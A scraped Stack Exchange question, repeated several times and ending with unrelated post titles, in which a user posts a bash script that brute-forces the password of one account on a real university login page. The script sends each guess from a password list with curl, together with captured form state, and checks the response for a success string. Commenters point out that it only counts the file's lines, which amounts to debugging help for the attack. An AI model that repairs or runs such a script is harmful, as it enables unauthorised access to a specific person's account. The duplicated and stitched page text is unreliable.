brute forcer tool in bash have problem [closed]












-3















i coded an tool with bash script for bruteforcing one of website accounts.



my code is:



#!/bin/bash
clear
old_IFS=$IFS
IFS=$'n'
lines=$(wc -l passwd.txt | cut -d " " -f1)
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt "$lines" ]
do
curl --silent --data "__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935286552" F80401="${lines["$i"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=" https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '1' ]
then
echo " Password not found!"
else
echo " Password is: "${lines["$i"]}""
break
fi
((i++))
done

Password not found!


how i can fix it?










share|improve this question









New contributor




user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.











closed as unclear what you're asking by Jeff Schaller, Mr Shunz, Kusalananda, Toby Speight, Thomas Jan 16 at 18:26


Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.











  • 1





    The script never uses any data from your file passwd.txt. It only counts the lines in the file. Variable lines doesn't contain what you seem to think. To see one of the problems I suggest to add echo "lines=$lines" after assigning a value to lines.

    – Bodo
    Jan 15 at 14:17






  • 1





    after lines=$(wc -l passwd.txt | cut -d " " -f1) the variable lines has the number of lines in passwd.txt, rather than the contents of passwd.txt. Then you get confused between your lines and linesNum variables, the while loop needs to compare with linesNum.

    – icarus
    Jan 15 at 16:22











  • Your edit removed all the code from the question...

    – nohillside
    Jan 16 at 10:39






  • 2





    Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"

    – Kusalananda
    Jan 16 at 14:09
















-3















i coded an tool with bash script for bruteforcing one of website accounts.



my code is:



#!/bin/bash
clear
old_IFS=$IFS
IFS=$'n'
lines=$(wc -l passwd.txt | cut -d " " -f1)
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt "$lines" ]
do
curl --silent --data "__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935286552" F80401="${lines["$i"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=" https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '1' ]
then
echo " Password not found!"
else
echo " Password is: "${lines["$i"]}""
break
fi
((i++))
done

Password not found!


how i can fix it?










share|improve this question









New contributor




user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.











closed as unclear what you're asking by Jeff Schaller, Mr Shunz, Kusalananda, Toby Speight, Thomas Jan 16 at 18:26


Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.











  • 1





    The script never uses any data from your file passwd.txt. It only counts the lines in the file. Variable lines doesn't contain what you seem to think. To see one of the problems I suggest to add echo "lines=$lines" after assigning a value to lines.

    – Bodo
    Jan 15 at 14:17






  • 1





    after lines=$(wc -l passwd.txt | cut -d " " -f1) the variable lines has the number of lines in passwd.txt, rather than the contents of passwd.txt. Then you get confused between your lines and linesNum variables, the while loop needs to compare with linesNum.

    – icarus
    Jan 15 at 16:22











  • Your edit removed all the code from the question...

    – nohillside
    Jan 16 at 10:39






  • 2





    Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"

    – Kusalananda
    Jan 16 at 14:09














-3












-3








-3








i coded an tool with bash script for bruteforcing one of website accounts.



my code is:



#!/bin/bash
clear
old_IFS=$IFS
IFS=$'n'
lines=$(wc -l passwd.txt | cut -d " " -f1)
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt "$lines" ]
do
curl --silent --data "__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935286552" F80401="${lines["$i"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=" https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '1' ]
then
echo " Password not found!"
else
echo " Password is: "${lines["$i"]}""
break
fi
((i++))
done

Password not found!


how i can fix it?










share|improve this question









New contributor




user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.












i coded an tool with bash script for bruteforcing one of website accounts.



my code is:



#!/bin/bash
clear
old_IFS=$IFS
IFS=$'n'
lines=$(wc -l passwd.txt | cut -d " " -f1)
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt "$lines" ]
do
curl --silent --data "__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935286552" F80401="${lines["$i"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=" https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '1' ]
then
echo " Password not found!"
else
echo " Password is: "${lines["$i"]}""
break
fi
((i++))
done

Password not found!


how i can fix it?







bash






share|improve this question









New contributor




user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.











share|improve this question









New contributor




user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.









share|improve this question




share|improve this question








edited Jan 18 at 7:20









Caleb

50.7k9146191




50.7k9146191






New contributor




user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.









asked Jan 15 at 13:41









user10911955user10911955

11




11




New contributor




user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.





New contributor





user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.






user10911955 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.




closed as unclear what you're asking by Jeff Schaller, Mr Shunz, Kusalananda, Toby Speight, Thomas Jan 16 at 18:26


Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.






closed as unclear what you're asking by Jeff Schaller, Mr Shunz, Kusalananda, Toby Speight, Thomas Jan 16 at 18:26


Please clarify your specific problem or add additional details to highlight exactly what you need. As it's currently written, it’s hard to tell exactly what you're asking. See the How to Ask page for help clarifying this question. If this question can be reworded to fit the rules in the help center, please edit the question.










  • 1





    The script never uses any data from your file passwd.txt. It only counts the lines in the file. Variable lines doesn't contain what you seem to think. To see one of the problems I suggest to add echo "lines=$lines" after assigning a value to lines.

    – Bodo
    Jan 15 at 14:17






  • 1





    after lines=$(wc -l passwd.txt | cut -d " " -f1) the variable lines has the number of lines in passwd.txt, rather than the contents of passwd.txt. Then you get confused between your lines and linesNum variables, the while loop needs to compare with linesNum.

    – icarus
    Jan 15 at 16:22











  • Your edit removed all the code from the question...

    – nohillside
    Jan 16 at 10:39






  • 2





    Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"

    – Kusalananda
    Jan 16 at 14:09














  • 1





    The script never uses any data from your file passwd.txt. It only counts the lines in the file. Variable lines doesn't contain what you seem to think. To see one of the problems I suggest to add echo "lines=$lines" after assigning a value to lines.

    – Bodo
    Jan 15 at 14:17






  • 1





    after lines=$(wc -l passwd.txt | cut -d " " -f1) the variable lines has the number of lines in passwd.txt, rather than the contents of passwd.txt. Then you get confused between your lines and linesNum variables, the while loop needs to compare with linesNum.

    – icarus
    Jan 15 at 16:22











  • Your edit removed all the code from the question...

    – nohillside
    Jan 16 at 10:39






  • 2





    Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"

    – Kusalananda
    Jan 16 at 14:09








1




1





The script never uses any data from your file passwd.txt. It only counts the lines in the file. Variable lines doesn't contain what you seem to think. To see one of the problems I suggest to add echo "lines=$lines" after assigning a value to lines.

– Bodo
Jan 15 at 14:17





The script never uses any data from your file passwd.txt. It only counts the lines in the file. Variable lines doesn't contain what you seem to think. To see one of the problems I suggest to add echo "lines=$lines" after assigning a value to lines.

– Bodo
Jan 15 at 14:17




1




1





after lines=$(wc -l passwd.txt | cut -d " " -f1) the variable lines has the number of lines in passwd.txt, rather than the contents of passwd.txt. Then you get confused between your lines and linesNum variables, the while loop needs to compare with linesNum.

– icarus
Jan 15 at 16:22





after lines=$(wc -l passwd.txt | cut -d " " -f1) the variable lines has the number of lines in passwd.txt, rather than the contents of passwd.txt. Then you get confused between your lines and linesNum variables, the while loop needs to compare with linesNum.

– icarus
Jan 15 at 16:22













Your edit removed all the code from the question...

– nohillside
Jan 16 at 10:39





Your edit removed all the code from the question...

– nohillside
Jan 16 at 10:39




2




2





Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"

– Kusalananda
Jan 16 at 14:09





Hmmm... Maybe you should tell us what the problem is? That's usually how questions work: "I'm expecting this to do this, but it does that, why?"

– Kusalananda
Jan 16 at 14:09










0






active

oldest

votes

















0






active

oldest

votes








0






active

oldest

votes









active

oldest

votes






active

oldest

votes

Popular posts from this blog

How to make a Squid Proxy server?

Is this a new Fibonacci Identity?

19世紀